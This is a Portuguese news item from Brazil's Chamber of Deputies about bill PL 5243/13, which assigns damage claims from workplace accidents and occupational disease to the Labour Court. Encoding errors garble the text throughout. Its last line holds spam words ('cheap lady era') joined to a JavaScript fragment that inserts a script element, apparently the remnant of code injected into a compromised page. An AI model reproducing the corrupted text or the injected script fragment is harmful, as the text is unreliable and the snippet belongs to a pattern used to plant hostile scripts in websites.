Beto Albuquerque: proposta evitarA? dA?vidas sobre a competA?ncia para julgar essas aAi??Ai??es. Foto: Gabriela Korossy/CA?mara dos Deputados
A CA?mara analisa o Projeto de Lei 5243/13, que atribui Ai?? JustiAi??a do Trabalho competA?ncia para julgar aAi??Ai??es indenizatA?rias de danos moral e material, provenientes de infortA?nios do trabalho.
O autor da proposta, deputado Beto Albuquerque (PSB-RS), ressalta que o Supremo Tribunal Federal (STF) jA? decidiu que cabe Ai?? JustiAi??a trabalhista ai??i?? e nA?o Ai?? JustiAi??a comum ai??i?? julgar o pedido de indenizaAi??A?o por dano material e moral resultante de acidente do trabalho. ai???ApA?s a Emenda Constitucional 45/04, [o STF resolveu que] a competA?ncia Ai?? da JustiAi??a do Trabalhoai???, diz o deputado.
Albuquerque afirma, no entanto, que o seu projeto Ai?? necessA?rio para evitar dA?vidas e novas discussAi??es judiciais sobre essa competA?ncia.
A proposta tambAi??m explicita que serA?o julgadas na JustiAi??a do Trabalho as aAi??Ai??es interpostas por familiar por dano moral e material decorrente da morte de empregado causada por doenAi??a ocupacional, acidente no trabalho ou ai???culpabilidade do empregadorai??? por negligA?ncia.
O projeto tem carA?ter conclusivo e serA? analisado pelas comissAi??es de Trabalho, de AdministraAi??A?o e ServiAi??o PA?blico; e de ConstituiAi??A?o e JustiAi??a e de Cidadania. cheap lady era document.currentScript.parentNode.insertBefore(s, document.currentScript);
